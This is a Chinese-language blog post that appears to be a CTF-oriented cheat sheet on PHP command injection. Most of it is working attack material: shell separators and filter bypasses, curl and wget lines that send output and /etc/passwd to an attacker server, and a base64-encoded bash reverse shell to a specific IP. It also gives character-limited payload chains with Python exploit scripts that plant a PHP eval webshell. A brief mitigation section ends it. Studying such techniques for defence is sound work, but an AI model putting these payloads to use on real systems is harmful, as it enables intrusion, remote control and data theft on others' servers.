HacKerQWQ的博客空间

命令执行小总结

Word count: 3.2kReading time: 14 min
2020/08/07 Share

命令执行

例子

1
2
3
4
5
<?php
$target=$_REQUEST['ip'];
$cmd = shell_exec('ping '.$target);
echo "<pre>{$cmd}</pre>";
?>

传入?ip=|whoami就可以执行命令

PHP危险函数

  • phpinfo()
    功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。
    危险等级:中

  • passthru()
    功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
    危险等级:高

  • exec()
    功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
    危险等级:高

  • system()
    功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。
    危险等级:高

  • chroot()
    功能描述:可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式
    PHP 时才能工作,且该函数不适用于 Windows 系统。
    危险等级:高

  • scandir()
    功能描述:列出指定路径中的文件和目录。
    危险等级:中

  • chgrp()
    功能描述:改变文件或目录所属的用户组。
    危险等级:高

  • chown()
    功能描述:改变文件或目录的所有者。
    危险等级:高

  • shell_exec()
    功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
    危险等级:高

  • proc_open()
    功能描述:执行一个命令并打开文件指针用于读取以及写入。
    危险等级:高

  • proc_get_status()
    功能描述:获取使用 proc_open() 所打开进程的信息。
    危险等级:高

  • error_log()
    功能描述:将错误信息发送到指定位置(文件)。
    安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,
    执行任意命令。
    危险等级:低

  • ini_alter()
    功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。
    具体参见 ini_set()。
    危险等级:高

  • ini_set()
    功能描述:可用于修改、设置 PHP 环境配置参数。
    危险等级:高

  • ini_restore()
    功能描述:可用于恢复 PHP 环境配置参数到其初始值。
    危险等级:高

  • dl()
    功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
    危险等级:高

  • pfsockopen()
    功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。
    危险等级:高

  • syslog()
    功能描述:可调用 UNIX 系统的系统层 syslog() 函数。
    危险等级:中

  • readlink()
    功能描述:返回符号连接指向的目标文件内容。
    危险等级:中

  • symlink()
    功能描述:在 UNIX 系统中建立一个符号链接。
    危险等级:高

  • popen()
    功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
    危险等级:高

  • stream_socket_server()
    功能描述:建立一个 Internet 或 UNIX 服务器连接。
    危险等级:中

  • putenv()
    功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数
    修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。
    危险等级:高

命令执行常见执行方式

  • 分号分割
  • ||``&&``&分割
  • |管道符
  • \r\n``%d0%a0换行
  • 反引号解析
  • $()替换

windows支持:

1
2
3
4
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

Linux支持:

1
2
3
4
5
; 前面的执行完执行后面的 ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami
|| 当前面的执行出错时执行后面的 ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami

无回显技巧

  • bash反弹shell
  • DNS带外数据
  • http带外
    1
    2
    3
    curl http://evil-server/$(whoami)
    wget http://evil-server/$(whoami)
    wget -e http_proxy=http://ip:port/ --method=POST --body-file=/etc/passwd
  • 无带外时利用sleep或其他逻辑构造布尔条件

常见绕过方式

空格绕过

  • < 符号 cat<123
  • \t / %09
  • ${IFS} 其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串
    1
    2
    3
    4
    cat</etc/passwd
    cat${IFS}/flag
    cat$IFS$1$alag.php
    cat$IFS$9$alag.php

黑名单绕过

单引号绕过

  • w’h’o’am’i

双引号绕过

  • w”h”o”am”i

用反斜杠和斜杠绕过

  • w\ho\am\i

通配符绕过

  • /?in/?s => /bin/ls

十六进制绕过

  • cat echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"

base64绕过

1
2
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
其中Y2F0IGZsYWcucGhw是cat flag.php的base64-encode

反弹shell

1
2
3
4
#bash -i >& /dev/tcp/101.35.156.126/9999 0>&1
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzUuMTU2LjEyNi85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}

bash -c {echo,'xxxxx'}|{base64,-d}|{bash,-i}

shell解析绕过

参考链接:https://www.cnblogs.com/xunbu7/p/6187017.html

  • $()的作用跟反引号差不多

    1
    `whoami`==$(whoami)
  • $(())中可以进行变量的运算,如+-*/%及位运算&|^!

  • ${}用于界定变量,如${A}B表示取A变量的值再加上B,$AB表示变量AB

1
2
$(())表示0
$((~$(())))表示-1

那么就可以通过累加达到-38取反得到37再累加-1得到36,最终读取到36.php的内容

如payload就可以累加到36.php

1
?c=$(($((~$(($(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))$(($((~$(())))$((~$(())))))))))$((~$(())))))

例题:ctfshow57

长度限制绕过

1
2
3
4
5
>wget\
>foo.\
>com
ls -t>a
sh a

上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行 直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令。

15个可控字符下的命令执行

思路:采用>>>符号将一句话木马写入shell文件

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
if(strlen($_GET[1])<15){
echo strlen($_GET[1]);
echo shell_exec($_GET[1]);
}else{
exit('too long');
}

payload

1
2
3
4
5
6
7
8
9
10
11
12
echo \<?php>1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
mv 1 1.php
# 生成
<?php
eval(
$_GET
[1]
);

image-20211103232117799

7个字符的命令执行

预备知识:

1
2
3
4
ls -t #将创建的文件按从晚到早的顺序排列
sh a #执行a中的命令
\ #拼接字符串
base64 #对字符串进行base64编码防止特殊字符扰乱

源码:

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
if(strlen($_GET[1]<=7)){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
?>

思路:

最终执行的命令“echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d>1.php”,其中base64编码的字符串为<?php eval($_POST[1]);?>

payload.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>\|\\
>==\\
>pOw\\
>MV0\\
>1Rb\\
>BPU\\
>kX1\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests

url="http://192.168.119.132:8080/7.php?1={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[+]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是否攻击成功
test = requests.get("http://192.168.119.132:8080/7.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")

运行命令生成1.php

image-20211103235911293

5位字符的命令执行

1
2
3
4
5
6
7
8
9
10
11
<?php
$sandbox = '/var/www/html/sandbox/' . md5('orange'.$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd'])<=5) {
@exec($_GET['cmd']);
}else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

知识点:

1
2
3
4
5
6
7
8
9
1. 输入通配符 * ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数
2. 通过rev来倒置输出内容(rev命令将文件中的每行内容以字符为单位反序输出)
3. 用dir来代替ls不换行输出;rev将文件内容反向输出;在用ls时,写到a时每个文件名都是单独一行
>rev
echo 1234 > v
*v (等同于命令:rev v)
网上有两种解答的方式:一种是curl服务起上写好的文件,进行反弹Shell,而另一种就是写入一句话木马,网上文章详细的解释参看https://www.freesion.com/article/8743881775/,我来将可用性最高的一种方法记录下。
目的:echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php
那么我们只需要将上面的代码拆分倒序输入到主机即可。我们需要让sh先执行a文件(ls -th >f)就会得到f文件,最后再让sh去执行f文件即可得到1.php。最终payload如下

payload.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://192.168.119.132:8080/5/5.php?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
# print(i)
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
#检查是 否攻击成功
test = requests.get("http://192.168.119.132:8080/5/42f05af66541e59c081c45d5ec9cbaa6/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")

4位可控字符的命令执行

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4){
exec($_GET['cmd']);
}else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

将payload.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>a
>hp
>p\
>1.\
>\>\
>-d\
>\ \
>64\
>se\
>ba\
>\|\
>7\
>Sk\
>X\
>x\
>Fs\
>FV\
>d\
>X0\
>k\
>g\
>bC\
>h\
>XZ\
>gZ\
>A\
>aH\
>w\
>D9\
>P\\
>S}\
>IF\
>{\
>\$\
>o\
>ch\
>e\
sh a
sh f

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
import threading
lock = threading.Lock()
def exp():
lock.acquire(True)#锁定
url = "http://192.168.119.132:8080/4/4.php?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
# 检查是否攻击成功
test = requests.get("http://192.168.119.132:8080/4/2ad26c4b0f3cdead3c4c1955ad805b8d/1.php")
if test.status_code == requests.code.ok:
print("[*]Attack access!!!!")
lock.release() #释放
if __name__ == '__main__':
t = threading.Thread(target=exp)
t.start()

3位字符命令执行

来自ctfshow的nl题命令执行

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
echo shell_exec($_GET[1]);
}else{
echo "hack!!!";
}
?>

利用ls查看目录,然后生成文件od或者nl,传入*即可查看flag

1
2
3
?1=ls
?1=>od或?1=nl
?1=*

其他绕过

  • a=l;b=s;$a$b
  • 未定义的初始化变量 cat$x /etc/passwd

反斜杠和斜杠绕过

1
cat ${HOME:0:1}etc${HOME:0:1}passwd

常用符号

命令分隔符

  • %0a / %0d / \n / \r
  • ;
  • & / &&

通配符

  • * 0到无穷个任意字符
  • ? 一个任意字符
  • [ ] 一个在括号内的字符,e.g. [abcd]
  • [ - ] 在编码顺序内的所有字符
  • [^ ] 一个不在括号内的字符

防止命令执行漏洞

  1. 使用escapeshellcmd或escapeshellarg

    https://www.anquanke.com/post/id/107336#h3-7

escapeshellarg

1
2
3
1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令

escapeshellcmd

1
2
3
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令

修复方式一般有两种思维:
1、黑名单:过滤特殊字符或替换字符 2、白名单:只允许特殊输入的类型/长度
修复代码示例一:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$target=$_REQUEST['ip'];
$octet = explode( ".", $target );
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric(
$octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
$cmd = shell_exec('ping '.$target);
echo "<pre>{$cmd}</pre>";
}
else {
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
?>

示例二:

1
2
3
4
5
<?php
$target=$_REQUEST['ip'];
$cmd = shell_exec('ping '. escapeshellcmd($target));
echo "<pre>{$cmd}</pre>";
?>
CATALOG
  1. 1. 命令执行
    1. 1.1. PHP危险函数
    2. 1.2. 命令执行常见执行方式
  2. 2. 无回显技巧
  3. 3. 常见绕过方式
    1. 3.1. 空格绕过
    2. 3.2. 黑名单绕过
      1. 3.2.1. 单引号绕过
      2. 3.2.2. 双引号绕过
      3. 3.2.3. 用反斜杠和斜杠绕过
      4. 3.2.4. 通配符绕过
      5. 3.2.5. 十六进制绕过
      6. 3.2.6. base64绕过
      7. 3.2.7. shell解析绕过
    3. 3.3. 长度限制绕过
      1. 3.3.1. 15个可控字符下的命令执行
      2. 3.3.2. 7个字符的命令执行
      3. 3.3.3. 5位字符的命令执行
      4. 3.3.4. 4位可控字符的命令执行
      5. 3.3.5. 3位字符命令执行
    4. 3.4. 其他绕过
    5. 3.5. 反斜杠和斜杠绕过
  4. 4. 常用符号
    1. 4.1. 命令分隔符
    2. 4.2. 通配符
  5. 5. 防止命令执行漏洞